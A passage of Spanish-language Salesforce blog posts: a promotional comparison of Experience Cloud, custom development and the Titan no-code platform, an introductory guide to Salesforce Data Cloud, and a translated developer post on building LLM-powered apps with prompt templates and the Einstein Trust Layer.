  • Experience Cloud es algo limitado desde la perspectiva de la experiencia del usuario; por ejemplo, no puede utilizar elementos repetidos, edición en línea de tablas, pantallas modales y otros elementos atractivos. Por ejemplo, es posible que desee crear un elemento que abra la biblioteca de cámaras del usuario al hacer clic en él, pero con Salesforce Experience Cloud esto es imposible.
  • Salesforce Experience Cloud es definitivamente caro, por lo que si desea optar por esta solución, prepárese para pagar
  • No se puede diferenciar entre la experiencia del usuario de escritorio y móvil usando opciones listas para usar. Para ello es necesario recurrir al desarrollo personalizado.
  • Sin validaciones de entrada en tiempo real. Primero debes hacer clic en el botón “Guardar”.
  • Las integraciones fuera de Salesforce son tareas complejas y requieren un desarrollo extenso
  • Hay una cantidad limitada de plantillas disponibles y estas solo cubren casos de uso específicos. Esto significa que es posible que no encuentre la plantilla adecuada para las necesidades de su negocio.

Ejemplo de plantillas de Salesforce Experience Cloud a continuación. Crédito: https://www.salesforce.com/products/experience-cloud/features/templates/

¿Puede el desarrollo personalizado superar las limitaciones de Experience Cloud?

Aprovechar los recursos del desarrollo personalizado es otra forma de crear un portal o sitio web que se adapte a las necesidades de su negocio. Y en muchos sentidos, esta opción le ayuda a superar las limitaciones de Experience Cloud. Estas son algunas de las principales razones para utilizar el desarrollo personalizado, así como sus inconvenientes:

Ventajas del desarrollo personalizado:

  • Lo bueno de utilizar el desarrollo personalizado para crear sus aplicaciones y portales es que puede hacer lo que quiera con su lienzo en blanco, por ejemplo, integrarlo con múltiples sistemas externos a Salesforce.
  • Puede emplear desarrolladores para crear cualquier UX que desee, de modo que no esté limitado a Salesforce UX al determinar la experiencia que tienen los clientes cuando visitan su sitio.
  • Puedes crear diseños dinámicos para cualquier dispositivo, por ejemplo, portátil o móvil, sin restricciones.
  • Su portal o sitio puede personalizarse para cualquier caso de uso que se le ocurra. ¡Si puedes soñarlo puedes hacerlo!
  • Proporciona mayor control y propiedad: con un portal o sitio web de desarrollo propio, las organizaciones tienen total propiedad y control sobre la propiedad intelectual, el código fuente y las mejoras futuras.

El desarrollo personalizado ofrece la gran ventaja de brindarle libertad absoluta para crear el portal de sus sueños sin barreras, restricciones ni compromisos. Pero este método no está exento de desventajas. Vea a continuación algunos de los principales puntos débiles:

Desventajas del desarrollo personalizado:

  • Falta de experiencia técnica: desarrollar un portal o una aplicación web requiere habilidades y recursos técnicos especializados
  • Limitaciones de tiempo y recursos: crear una aplicación o un portal web puede ser un proceso que requiere mucho tiempo y una inversión significativa.
  • La salida al mercado puede verse seriamente retrasada, lo que podría afectar negativamente a sus objetivos comerciales.
  • Rápidos avances tecnológicos: el panorama tecnológico evoluciona continuamente y periódicamente surgen nuevas características, marcos y plataformas. Desarrollar una aplicación web o un portal internamente requiere mantenerse actualizado con las últimas tecnologías y mejores prácticas.
  • Desafíos de mantenimiento y soporte: una vez que se desarrolla un portal de autoservicio o una aplicación web, el mantenimiento y el soporte continuos son esenciales para su buen funcionamiento.
  • Básicamente, dependerá de los recursos de desarrollo y se verá paralizado cuando desee realizar actualizaciones simples. ¡No suena divertido!
  • Problemas de integración: desarrollar una aplicación web o un portal internamente puede plantear conflictos de integración con sistemas, bases de datos o servicios de terceros existentes.
  • Consideraciones de seguridad y cumplimiento: crear una aplicación o un portal seguro implica implementar medidas de seguridad sólidas y garantizar el cumplimiento de las normas de protección de datos.
  • Centrarse en las competencias básicas: las organizaciones deben evaluar si el desarrollo de una aplicación o portal se alinea con sus competencias básicas y prioridades estratégicas.
  • ¡Dinero dinero dinero! Esta es definitivamente tu opción más cara, así que prepárate para acumular una factura.

¡Haciéndolo todo con la plataforma de experiencia digital de Titan!

Titan es una plataforma de experiencia completa que le brinda la libertad de crear sus propios portales, sitios de autoservicio, formularios de Salesforce , encuestas y mucho más. Y es una de las mejores alternativas a Experience Cloud del mercado.

Titan es una plataforma sin código con una interfaz intuitiva de arrastrar y soltar que permite a los administradores de Salesforce crear y configurar sitios web potentes para cualquier industria y caso de uso. Entonces, la verdadera pregunta es: ¿cómo se compara Titan con Experience Cloud? ¿Tiene también ventaja sobre el desarrollo personalizado? A continuación, detallamos cómo Titan Web puede permitirle crear sitios web impresionantes y portales personalizados:

Puntos ganadores de Titán:

  • Plataforma de código cero con una interfaz sencilla de arrastrar y soltar, por lo que no necesita gastar dinero en desarrollos costosos
  • Integración bidireccional en tiempo real con Salesforce y acceso completo a Customer 360
  • Plantillas listas para usar para acelerar su comercialización
  • Experiencia de usuario 100 % flexible por dispositivo para viajes de cliente personalizados
  • Totalmente de marca para que coincida con la apariencia de su organización.
  • El enfoque móvil primero le brinda la capacidad de escalar
  • Totalmente seguro y compatible con los principales marcos regulatorios como GDPR, SOC 2 e HIPAA
  • Cree perfiles personalizados para clientes y socios que sean fáciles de implementar
  • Genere documentos y fírmelos desde su aplicación o portal
  • Capacidades sin conexión para que pueda utilizar esta herramienta incluso cuando esté fuera del alcance de Internet
  • Compatible con múltiples idiomas y monedas
  • Integraciones integradas de terceros
  • Capacidades completas de gestión de versiones
  • Rentable en comparación con la competencia

Ahora, echemos un vistazo a las desventajas de Titan:

  • El tiempo de incorporación puede variar entre 4 y 20 horas, según la complejidad de su caso de uso.
  • Ocasionalmente, para una lógica o un diseño de diseño muy complejos, una organización necesitará agregar código JS y/o CSS para ajustarse a sus necesidades.
  • El dominio/subdominio del sitio web está limitado a uno por cliente. Se pueden comprar dominios adicionales por un costo adicional

El arma secreta de Titan es su poder para crear aplicaciones web totalmente personalizables sin tener que escribir una sola línea de código. Sin concesiones ni agendas ocultas para que pueda acelerar su comercialización.

Comparación de Experience Cloud frente a la competencia

Arriba, profundizamos en Salesforce Experience Cloud y sus principales alternativas. Pero, ¿cuál es el resultado final y quién sale como el verdadero ganador? Eche un vistazo a nuestra tabla comparativa a continuación para descubrirlo:

Experiencia en la nube Desarrollo a la medida Plataforma Titán
Costo Medio Muy caro Medio
Hora de comprar Corto Largo Muy corto
Esfuerzo de mantenimiento prolongado Bajo Muy alto Bajo
Recursos necesarios para el proyecto Administrador de SF Desarrolladores Administrador de SF
Flexibilidad de diseño Muy poco Lleno Lleno
Experiencia de usuario Lo mismo que Salesforce. No puedes crear tu propia experiencia de usuario Puedes desarrollar cualquier cosa que puedas soñar. Casi todo lo que puedas soñar
Marca Sí con temas personalizados Sí con temas personalizados
Integración de Salesforce Requiere desarrollo por integración.
Integraciones de terceros Requiere complementos pagos o desarrollo Requiere complementos pagos o desarrollo
Validaciones de datos en tiempo real No
Flujo de trabajo y automatización No
Móvil Listo para dispositivos móviles Diseño completamente dinámico por dispositivo Diseño completamente dinámico por dispositivo
Conocimiento de Salesforce Compatible Requiere desarrollo Compatible
Compromiso digital de Salesforce Compatible Requiere desarrollo Compatible

Depende 100% de usted decidir las funciones y capacidades que necesita para crear los sitios web y portales de sus sueños. Pero está claro que si está buscando una herramienta web sin código, ultraflexible y rentable que mejore la experiencia del usuario, Titan es una excelente opción.

Quizás recuerde que anteriormente en este artículo una empresa estaba buscando una solución flexible y sin código para crear un portal de recursos humanos para los empleados. Eligieron utilizar Titan y estos son los resultados:

  • Los empleados inician sesión en el portal:
  • Reciben una autenticación de dos factores enviada a su correo electrónico para que puedan iniciar sesión en el portal sin administrar ninguna otra contraseña.
  • Las páginas web y los portales se muestran dinámicamente según la autenticación del usuario, proporcionando una experiencia de usuario dinámica con cada clic.
  • Todo está construido sólo con herramientas de arrastrar y soltar. No es necesaria ninguna codificación, ya que todos los datos fluyen hacia y desde Salesforce en tiempo real.
  • El Portal de Recursos Humanos brinda a los empleados un fácil acceso a información personal y profesional, lo que hace que sea muy conveniente actualizar registros y sus propios datos personales:
  • Los formularios digitales personalizados han eliminado los errores de entrada y las imprecisiones de los datos con el precompletado dinámico utilizando datos de Salesforce.
  • En el pasado, cada vez que un empleado quería reservar sus días de vacaciones, tenía que completar un formulario de licencia manual, escanearlo y enviarlo por correo electrónico a Recursos Humanos para su aprobación. Ahora simplemente hacen clic en la pestaña de días de vacaciones para gestionar las solicitudes de licencia.
  • El Portal de Recursos Humanos del Empleado permite a los empleados registrar pedidos de equipos de TI directamente desde sus dispositivos móviles, computadoras portátiles y de escritorio.
  • Los empleados pueden presentar solicitudes de gastos de la empresa antes de que se procesen para la nómina y pueden presentar las solicitudes para recibir el pago antes de la fecha límite de nómina. Esto significa que no hay que esperar a que se paguen las reclamaciones de gastos.
  • Incluso hay un Centro de conocimiento donde los empleados pueden obtener respuestas a todas sus preguntas frecuentes y solucionar problemas rápidamente:
  • Recursos Humanos ahorra 40 horas al mes en trabajo manual (¡incluida la nómina!) y los empleados están más comprometidos.
  • La empresa logró hacer todo esto dentro del presupuesto y en un tiempo récord, sin tener que implementar ningún código ni desarrollo personalizado.

Prueba de concepto

Consulte este portal de recursos humanos sin código donde los empleados pueden iniciar sesión y realizar diversas acciones de autoservicio:

[contenido incrustado]

Salesforce Experience Cloud es una solución conocida con un historial decente en permitir a las empresas crear aplicaciones y portales para mejorar la experiencia del cliente. Aun así, no está exento de limitaciones: falta de flexibilidad en lo que respecta a la experiencia del usuario, ninguna opción real para diferenciar entre la experiencia de escritorio y móvil, y dificultad para integrarse con herramientas fuera de Salesforce, ¡por nombrar solo algunas!

Utilizar el desarrollo personalizado para crear su propia aplicación o portal personalizado resolverá la mayoría de los mayores problemas de Experience Cloud. Con el desarrollo personalizado, obtienes total libertad para crear cualquier portal o aplicación que puedas soñar y obtener diseños dinámicos para cualquier dispositivo. Si bien el desarrollo personalizado mitiga los puntos débiles de Experience Cloud, esta solución presenta sus propios desafíos, que incluyen trabajo y mantenimiento de desarrollo complicados, gastos adicionales y una comercialización más lenta.

Titan gana a lo grande al brindarle lo mejor de ambos mundos: obtiene software de arrastrar y soltar combinado con la libertad y flexibilidad que brinda el desarrollo personalizado. Si está buscando la alternativa líder a Experience Cloud y le gustó lo que leyó, ¡póngase en contacto hoy!

Evaluación formativa

¿Qué es lo que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntete libre de compartir en los comentarios a continuación.

Categorías
Plataforma Salesforce

Cómo comenzar con Salesforce Data Cloud: guía 101 y casos de uso

Última actualización el 2 de octubre de 2023 por Rakesh Gupta

Los datos no son sólo un buen extra; es esencial. Especialmente ahora, cuando las empresas operan en gran medida en espacios digitales, la necesidad de un buen uso de los datos es clara. El papel del análisis de datos se ha vuelto crucial para impulsar el éxito de una empresa. Es importante que los líderes de las empresas tengan un plan de datos sólido, uno que permita que sus negocios avancen rápidamente y enfrenten desafíos difíciles.

Los equipos se benefician enormemente de un análisis de datos sólido. Pueden tomar decisiones inteligentes más rápido que antes y también con mayor precisión. Este tipo de uso de datos también ayuda a los equipos a trabajar mejor juntos al eliminar cosas que obstaculizan un buen trabajo en equipo. Los líderes de TI tienen un papel especial aquí. Tienen las habilidades para hacer que los datos sean útiles de nuevas maneras, transformando el trabajo de los equipos y mejorando la experiencia de los clientes.

¿Qué es Salesforce Data Cloud y por qué debería implementarlo?

Salesforce Data Cloud está diseñada para cambiar la forma en que las empresas interactúan con los clientes. Es bueno para recopilar datos de diferentes lugares. Estos datos van a una gran área de almacenamiento llamada lago de datos. Luego utiliza un análisis preciso para explicar lo que significan los datos.

Salesforce Data Cloud ayuda a vincular varias fuentes y nubes más rápidamente en toda la plataforma. Sin embargo, Data Cloud también es un artículo que se puede pedir. Aunque no todos los clientes de Salesforce han comprado Data Cloud, aunque se encuentran en el punto de partida, todavía utilizan Data Cloud hasta cierto nivel. Sin embargo, todo esto se fortalece cuando se utiliza la Nube de Datos como plataforma de personalización y unificación de datos.

¿Por qué necesito implementar una nube de datos ahora?

Imagínese cómo el volumen de datos crece rápidamente cuando piensa en la cantidad de clics que hace cada cliente. Puede realizar un seguimiento de dichos datos de participación a medida que ocurren, por ejemplo, cuando los usuarios abren y hacen clic en correos electrónicos, exploran páginas en sus aplicaciones móviles y miran artículos en su tienda en línea. Es mucho más probable que las personas hagan clic cuando les envías un correo electrónico o una oferta que les resulta útil. Puede capturar la interacción cuando un consumidor hace clic en Data Cloud. Cuando sepa qué les interesa y si es probable que compren algo o no, podrá aprovechar esta información a su favor.

Para cada sector o puesto, la Nube de Datos puede generar experiencias y oportunidades de negocio potentes.

Para analizar cuentas integradas y adquirir información rápida y fácilmente sobre sus clientes y los efectos comerciales, los analistas pueden conectar Data Cloud a Tableau o QlikView . Cuando una empresa puede identificar a sus consumidores en función de la cantidad y el tema de sus tickets de soporte, puede desarrollar y llevar a cabo un plan para reducir esos tickets. Verifique los datos nuevamente para asegurarse de que el plan haya tenido éxito.

Los desarrolladores pueden crear software utilizando datos de Data Cloud, como un sistema de puntuación de salud que mide la puntuación de salud de un paciente utilizando objetos e información prediseñados. Cuando una actividad de datos inicia un flujo para enviar notificaciones a los médicos cuando una puntuación cae por debajo de un nivel específico, esa puntuación y su uso se convierten en una experiencia que salva vidas.

Según la probabilidad de conversión de un cliente, los vendedores pueden obtener información sobre sus clientes potenciales y sus ventas potenciales. Según los hábitos de navegación de los usuarios y los niveles actuales de oferta de productos, la gestión del comercio electrónico puede utilizar datos para personalizar su sitio web.

¿Cómo funciona la nube de datos de Salesforce?

Fuente de la imagen: Blog de desarrolladores de Salesforce Reúna todos los datos de sus clientes en Data Cloud

En pocas palabras, Data Cloud permite a los administradores de Salesforce realizar una variedad de acciones, que incluyen, entre otras:

  • Vincula tus fuentes de datos por lotes y de streaming.
  • Refine los datos entrantes empleando métodos de transformación y adhiriéndose a protocolos de gobernanza.
  • Estandariza tus datos conformándolos a un modelo establecido.
  • Fusione diferentes elementos de datos mediante la aplicación de reglas de coincidencia de identidades.
  • Explore su conjunto de datos para obtener información mediante consultas y análisis en profundidad.
  • Implementar algoritmos de inteligencia artificial para pronosticar comportamientos.
  • Divida y fragmente sus datos y luego impleméntelos en múltiples plataformas para crear experiencias personalizadas.
  • Evalúe sus datos a través de soluciones de análisis compatibles.
  • Exporte estos datos a diversos destinos, alineando acciones con objetivos comerciales específicos.
  • Vuelva a evaluar, cuantifique y ajuste periódicamente sus activos de datos.
Fuente de la imagen: Ayuda de Salesforce Acerca de Salesforce Data Cloud

Cómo empezar con la nube de datos

Se puede utilizar una estructura similar a un lago de datos para describir Salesforce Data Cloud. Como ejemplo, recopilando todos los datos de la plataforma Salesforce. Sin embargo, también es capaz de importar datos de otras fuentes externas, como lagos de datos.

Perspectiva :

Un lago de datos es una ubicación concentrada para almacenar datos no procesados. Las empresas utilizan este sistema de almacenamiento enorme, adaptable y asequible para recopilar y guardar grandes cantidades de datos organizados, no estructurados y semiestructurados en su formato original. Las publicaciones en redes sociales, los registros de sensores y los datos de ubicación son solo algunos ejemplos de los datos no estructurados que recopilan los lagos de datos.

Lo que indica para los usuarios : las marcas son más capaces de predecir los requisitos y necesidades de los consumidores debido a la gran cantidad de información accesible en un lago de datos.

Cómo afecta a los equipos : Los equipos pueden acceder a enormes cantidades de datos en una ubicación, lo que les permite moverse más rápidamente y mantenerse al día con (o superar) a los oponentes.

Pasos de implementación

Revise esta lista de verificación sugerida antes de comenzar a utilizar Data Cloud. Confirme que su equipo esté configurado antes de implementar Data Cloud, verifique estos puntos:

  • El equipo comprende los principales conceptos y restricciones que pueden afectar la facturación.
  • Analiza la gestión de la marca y la estructura organizacional.
  • Examina los principios del modelo de datos antes de acordar una estrategia de datos.
  • Analice los datos que ya tiene y las fuentes de datos.
  • Reconoce a un administrador de Salesforce para configurar Salesforce Data Cloud.
  • Enumera los usuarios además de los permisos que requieren.
  • Establece objetivos de segmentación.
Fuente de la imagen: Configuración de la nube de datos del módulo Trailhead

Costo y disponibilidad de Salesforce Data Cloud

Salesforce Data Cloud es costoso. Es una inversión que requiere una planificación meticulosa porque comienza en $10 mil por organización, mensualmente. De manera realista, dependiendo de los valores de sus datos, es posible que su empresa ya necesite gastar más en Data Cloud. Como tus datos crecen constantemente, es importante tenerlo presente todo el tiempo, pero…  

… En el último evento de Dreamforce, Salesforce anunció que las licencias gratuitas de Data Cloud ya están disponibles. Los clientes que tengan Enterprise Edition o superior ahora pueden acceder a Data Cloud sin costo alguno. En esta oferta se incluyen dos licencias de Tableau Creator, que permiten a las empresas conectar hasta 10 000 perfiles de clientes y comenzar sus exploraciones.

En conclusión

Los datos son más cruciales que nunca y supervisar el flujo de datos en constante crecimiento es un trabajo increíble. Sin embargo, los datos tienen una enorme influencia. El potencial de obtener conocimientos empresariales que puedan fundamentar decisiones y producir experiencias sorprendentes para los clientes crece a medida que aumenta el acceso a los datos y la alfabetización sobre datos para las personas de toda su empresa. La IA y el CRM se pueden utilizar para impulsar actividades inteligentes y proporcionar servicios personalizados a escala cuando se combinan con datos procesables en tiempo real.

Ahora, con Data Cloud y Einstein AI nativos en la plataforma Einstein 1, las empresas pueden crear fácilmente aplicaciones y flujos de trabajo impulsados por AI que potencian la productividad, reducen costos y brindan increíbles experiencias a los clientes. – Parker Harris, cofundador y director de tecnología, Salesforce

Los datos del cliente, el contenido empresarial, los datos de telemetría, los chats de Slack, los datos parcialmente estructurados y otros datos estructurados y no estructurados se fusionan y conectan mediante Data Cloud, la plataforma de datos a hiperescala de Salesforce que funciona en tiempo real, para generar un perfil único del cliente. La plataforma ya vincula e integra 100 mil millones de registros diariamente y procesa 30 billones de transacciones mensuales.

Las empresas ahora pueden crear perfiles de clientes completos y unificados, ofrecer nuevas experiencias de CRM y acceder a datos fragmentados de formas completamente nuevas gracias a la integración completa de la nueva Nube de Datos con la Plataforma Einstein 1.

Referencias:

Dorian es un administrador y desarrollador certificado 4x de Salesforce con amplia experiencia en la personalización de Salesforce según las necesidades del cliente. Comenzó su trayectoria en TI como administrador de CRM y mantuvo su enfoque en el ecosistema de Salesforce. Le encanta explorar nuevas integraciones en Salesforce y detectar formas alternativas de optimizar los procesos comerciales dentro del CRM. Actualmente trabaja como desarrollador de Salesforce a tiempo completo y contribuye con contenido al portal educativo SFApps.info.

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es lo que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntete libre de compartir en los comentarios a continuación.

Categorías
Einstein

Creación de aplicaciones impulsadas por IA con LLM y Einstein ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Creación de aplicaciones impulsadas por IA con LLM y Einstein | Blog de desarrolladores de Salesforce

La IA generativa es la tecnología más transformadora desde Internet y revoluciona la forma en que creamos e interactuamos con la información. Para los desarrolladores, esto plantea nuevas preguntas: desde la práctica "¿Cómo puedo crear aplicaciones impulsadas por IA con modelos de lenguaje grandes (LLM)?" Más profundamente, “¿Cómo cambiará la IA generativa la naturaleza de las aplicaciones? ” Exploramos estas dos preguntas en esta publicación de blog.

¿Cómo creo aplicaciones impulsadas por IA con LLM?

Comencemos con la primera pregunta: "¿Cómo creo aplicaciones con LLM?" y explore tres opciones que comúnmente se consideran:

  1. Entrena tu propio modelo
  2. Personaliza un modelo de código abierto
  3. Utilice modelos existentes a través de API

Entrena tu propio modelo

Entrenar su propio modelo le brinda control total sobre los datos de los que aprende su modelo. Por ejemplo, puede entrenar un modelo con datos específicos de su industria. Un modelo entrenado con datos de un dominio específico generalmente será más preciso que un modelo de propósito general para casos de uso centrados en ese dominio. Si bien entrenar su propio modelo ofrece más control y precisión, puede que no siempre sea el mejor enfoque. Aquí hay algunas cosas para considerar:

  1. Tiempo y recursos: formar su propio LLM desde cero puede llevar semanas o incluso meses. Como punto de referencia, aunque es probable que su modelo sea mucho más pequeño, el modelo GPT-3 de OpenAI tardó 1,5 millones de horas de GPU en entrenarse.
  2. Experiencia: para entrenar su modelo, también necesitará un equipo de ingenieros especializados en aprendizaje automático (ML) y procesamiento del lenguaje natural (NLP).
  3. Seguridad de los datos: el poder de los LLM hace que sea tentador crear modelos que aprendan de todos sus datos, pero esto no siempre es lo correcto desde el punto de vista de la seguridad de los datos. Puede haber tensión entre la forma en que aprenden los LLM y la forma en que se implementan las políticas de seguridad de datos en su empresa. Los LLM aprenden de grandes cantidades de datos. ¡Cuantos más datos mejor! Sin embargo, con seguridad a nivel de campo (FLS) y permisos estrictos, las políticas de seguridad de datos corporativas a menudo se basan en el principio de privilegio mínimo: los usuarios solo deben tener acceso a los datos que necesitan para realizar su trabajo específico. ¡Cuantos menos datos mejor! Por lo tanto, un modelo formado con todos los datos disponibles de los clientes y puesto a disposición de todos en su empresa puede no ser una buena idea y violar las políticas de seguridad de datos de su empresa. Sin embargo, un modelo entrenado en especificaciones de productos y resoluciones de tickets de soporte anteriores puede ayudar a los agentes a resolver tickets nuevos sin comprometer la seguridad de los datos.

Personaliza un modelo de código abierto

Personalizar un modelo de código abierto normalmente lleva menos tiempo y es menos costoso que entrenar su propio modelo desde cero. Sin embargo, aún necesita un equipo de ingenieros especializados en aprendizaje automático (ML) y procesamiento del lenguaje natural (NLP). Dependiendo del caso de uso, es posible que aún experimentes la tensión de seguridad de los datos descrita anteriormente.

Utilice modelos existentes a través de API

Utilizar modelos existentes a través de API es la forma más sencilla de crear aplicaciones con LLM. Esta es también la opción más utilizada en este momento. Sin embargo, estos modelos no se han entrenado con los datos contextuales o privados de su empresa y, por lo tanto, el resultado que producen puede ser demasiado genérico para ser útil.

En esta publicación de blog, exploramos diferentes técnicas para agregar datos contextuales o privados de la empresa a través del mensaje. Debido a que el mensaje se crea dinámicamente en nombre del usuario, solo incluye datos a los que el usuario tiene acceso, lo que aborda la tensión de seguridad de los datos descrita anteriormente. Es posible que le preocupe pasar datos privados a una API de terceros, pero existen técnicas para abordar esa preocupación y también las describimos en esta publicación de blog.

Creación de aplicaciones impulsadas por IA utilizando modelos existentes a través de API

Llamada API básica

Los principales proveedores de modelos como OpenAPI , Anthropic , Google , Hugging Face y Cohere ofrecen API para trabajar con sus modelos. En la implementación más básica, su aplicación captura un mensaje del usuario, lo pasa como parte de la llamada API y muestra el resultado generado al usuario.

Por ejemplo, así es como se vería la llamada API usando la API OpenAI:

Esta opción puede funcionar para casos de uso simples que solo requieren un resultado general basado en conocimientos generales. Por ejemplo, " Escribe un haiku sobre el invierno" o "Escribe una declaración SQL de muestra con una unión externa". Pero si necesita una respuesta que se adapte a su propio contexto o a los datos privados de su empresa, es probable que el resultado generado sea demasiado genérico para ser útil.

Por ejemplo, digamos que un usuario ingresa el siguiente mensaje:

Escriba un correo electrónico de presentación para el director ejecutivo de Acme.

El correo electrónico generado no sería personalizado ni relevante porque el modelo no sabe nada sobre su relación con Acme y los negocios que ha hecho con ellos.

Puesta a tierra del LLM

Para que la respuesta sea más relevante y contextual, el usuario puede fundamentar el LLM con información adicional. Por ejemplo, pueden ingresar el siguiente mensaje:

Usted es John Smith, representante de cuentas de Northern Trail Outfitters.
Escriba un correo electrónico de presentación a Lisa Martinez, directora ejecutiva de ACME.
Aquí hay una lista de los últimos tres pedidos que Acme realizó a Northern Trail Outfitters:
Colección Verano 2023: $375,286
Colección Primavera 2023: $402,255
Colección Invierno 2022: $357,542

Esto permite que el LLM genere un resultado mucho más relevante. Sin embargo, este enfoque plantea dos problemas:

  1. El usuario debe ingresar mucha información de conexión a tierra manualmente. Por lo tanto, la calidad del resultado depende en gran medida de la calidad de la pregunta ingresada por el usuario.
  2. Está pasando información confidencial al proveedor del modelo donde potencialmente podría persistir o usarse para entrenar aún más el modelo, lo que significa que sus datos privados podrían aparecer en la respuesta generada por el modelo de otra persona.

Construcción rápida y puesta a tierra dinámica.

Para abordar la primera limitación anterior, puede construir el mensaje mediante programación. El usuario ingresa una cantidad mínima de información o simplemente hace clic en un botón en la aplicación y luego usted crea el mensaje mediante programación agregando datos relevantes. Por ejemplo, en respuesta a un clic en el botón “Escribir correo electrónico de introducción”, podría:

  1. Llame a un servicio para obtener información sobre el usuario.
  2. Llame a un servicio para obtener información sobre el contacto.
  3. Llame a un servicio para obtener la lista de oportunidades recientes.
  4. Construya el mensaje utilizando la información obtenida de los servicios de datos anteriores.

Así es como podrían verse estos pasos de construcción rápidos en Apex:

El principal inconveniente de este enfoque es que requiere un código personalizado para cada mensaje para poder realizar la sencilla tarea de fusionar datos dinámicos en texto estático.

Plantillas de aviso

Para facilitar la construcción del mensaje, podemos usar plantillas: un patrón de desarrollo de software bien conocido que se usa comúnmente para fusionar datos dinámicos en documentos estáticos. Con una plantilla, escribe un archivo de solicitud utilizando marcadores de posición que se reemplazan dinámicamente con datos dinámicos en tiempo de ejecución.

Así es como se vería el ejemplo de Apex anterior usando un lenguaje de plantilla genérico:

Eres {{ user.Name }}, {{user.Title}} en {{ user.CompanyName }}
Escriba un correo electrónico de presentación a {{ contact.Name }}, {{contact.Title}} en {{ contact.Account.Name }}
Estas son las oportunidades de {{contact.Account.Name}}:
{{#oportunidades}}
{{Nombre}}: {{Cantidad}}

{{/oportunidades}}

Las plantillas de mensajes no solo son útiles para crear mensajes mediante programación, sino que también se pueden utilizar como base para herramientas gráficas que admiten la creación de mensajes en un entorno de arrastrar y soltar.

Estudio rápido

Por eso creamos Prompt Studio, un nuevo creador de Salesforce que facilita la creación de indicaciones. Le permite crear plantillas de mensajes en un entorno gráfico y vincular campos de marcador de posición a datos dinámicos disponibles a través de datos de páginas de registro, un flujo, una nube de datos, una llamada de Apex o una llamada API. Una vez creada, se puede utilizar una plantilla de solicitud en diferentes lugares para consultar el modelo, incluidas las páginas de registro y el código Apex.

Capa de confianza de Einstein

Prompt Builder le permite definir mensajes basados dinámicamente en un entorno gráfico. Pero, ¿cómo se envía ese mensaje de forma segura a un proveedor de LLM?

Puede enviar el mensaje directamente a la API del proveedor de LLM, pero hay una serie de preguntas a considerar con ese enfoque:

  • ¿Qué pasa con los problemas de cumplimiento y privacidad si pasa datos de información de identificación personal (PII) en el mensaje? ¿El proveedor del modelo podría conservar los datos de PII o incluso utilizarlos para entrenar aún más el modelo?
  • ¿Cómo se evitan las alucinaciones, la toxicidad y los sesgos en los resultados generados por los LLM?
  • ¿Cómo se rastrea y registra los pasos de creación de mensajes con fines de auditoría?

Si utiliza la API del proveedor de LLM directamente, tendrá que escribir un código personalizado para responder a estas preguntas. Hay muchas cosas a considerar y puede resultar difícil hacerlo bien para todos los casos de uso.

Ingrese a la capa de confianza de Einstein. Einstein Trust Layer le permite enviar solicitudes a LLM de forma confiable, abordando las inquietudes mencionadas anteriormente.

Así es como funciona:

  1. En lugar de realizar llamadas API directas, utiliza LLM Gateway para acceder al modelo. LLM Gateway admite diferentes proveedores de modelos y abstrae las diferencias entre ellos. Incluso puedes conectar tu propio modelo.
  2. Antes de enviar la solicitud al proveedor del modelo, pasa por una serie de pasos que incluyen el enmascaramiento de datos que reemplaza los datos PII con datos falsos para garantizar la privacidad y el cumplimiento de los datos.
  3. Para proteger aún más sus datos, Salesforce tiene acuerdos de retención cero con proveedores de modelos, lo que significa que los proveedores de modelos no persistirán ni entrenarán más sus modelos con datos enviados desde Salesforce.
  4. Cuando se recibe el resultado del modelo, pasa por otra serie de pasos, incluido el desenmascaramiento, la detección de toxicidad y el registro de seguimiento de auditoría. Demasking restaura los datos reales que fueron reemplazados por datos falsos por motivos de privacidad. La detección de toxicidad comprueba si hay contenido dañino u ofensivo en el resultado. El registro de seguimiento de auditoría registra todo el proceso con fines de auditoría.

De cara al futuro: creación de aplicaciones de una forma totalmente nueva

Ahora echemos un vistazo a lo que viene y abordemos la segunda pregunta planteada al principio de este artículo: ¿Cómo cambiará la IA generativa la naturaleza de las aplicaciones?

Encadenamiento rápido

La lógica involucrada en la creación de un mensaje a veces puede volverse compleja. Puede implicar múltiples llamadas a API o servicios de datos, como en el ejemplo de conexión a tierra dinámica anterior. Responder a la pregunta de un solo usuario puede incluso implicar varias llamadas al LLM. Esto se llama encadenamiento rápido. Considere el siguiente ejemplo:

Para construir el mensaje:

  1. Realizamos una primera llamada API o servicio de datos para obtener datos contextuales de la empresa
  2. Los datos que regresan de la primera llamada al servicio de datos se usan para crear un primer mensaje que usamos para consultar el LLM.
  3. La salida del LLM se utiliza como entrada para una segunda llamada de servicio de datos.
  4. Los datos que regresan de la segunda llamada al servicio de datos se utilizan para crear un segundo mensaje cuya respuesta se envía al usuario.

Las posibilidades de combinar llamadas de servicios de datos y llamadas de LLM para generar un resultado son infinitas.

Orquestación de IA

El enfoque descrito hasta ahora funciona bien, pero a medida que estos flujos de trabajo se vuelven más complejos, podemos ver la necesidad de alguna forma de orquestación. Como desarrollador, luego crearía una serie de bloques de construcción que realizan tareas granulares: recuperar datos sobre un cliente, actualizar un registro, realizar alguna lógica computacional, etc. Estos bloques de construcción se pueden orquestar o remezclar de diferentes maneras usando un herramienta de orquestación. Esto se podría hacer usando una herramienta de orquestación tradicional que le permita definir qué bloques de construcción usar, en qué orden y cuándo (con diferentes ramas "si"). Pero, ¿qué pasaría si la orquestación en sí estuviera impulsada por IA con un orquestador que pudiera razonar y elegir qué bloques de construcción usar y cómo componerlos para realizar una tarea específica? La orquestación impulsada por IA es un nuevo paradigma poderoso que tiene el potencial de revolucionar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.

El siguiente diagrama describe este nuevo paradigma de bloques de construcción orquestado por IA a un alto nivel.

En este diagrama, las acciones son los componentes básicos descritos anteriormente. Podrían ser acciones invocables de Apex, API de MuleSoft o indicaciones. Algunas acciones fundamentales están disponibles de forma predeterminada y otras serán desarrolladas por los desarrolladores. Esto también crea una oportunidad para un mercado de acciones creado por desarrolladores y socios.

El planificador es el orquestador impulsado por IA. Cuando la solicitud se pasa al tiempo de ejecución de la orquestación, el planificador elige (crea un plan para) qué acciones usar y cómo componerlas para responder mejor a la solicitud del usuario.

La orquestación de IA es un área activa de investigación en Salesforce y en la industria en su conjunto.

Resumen

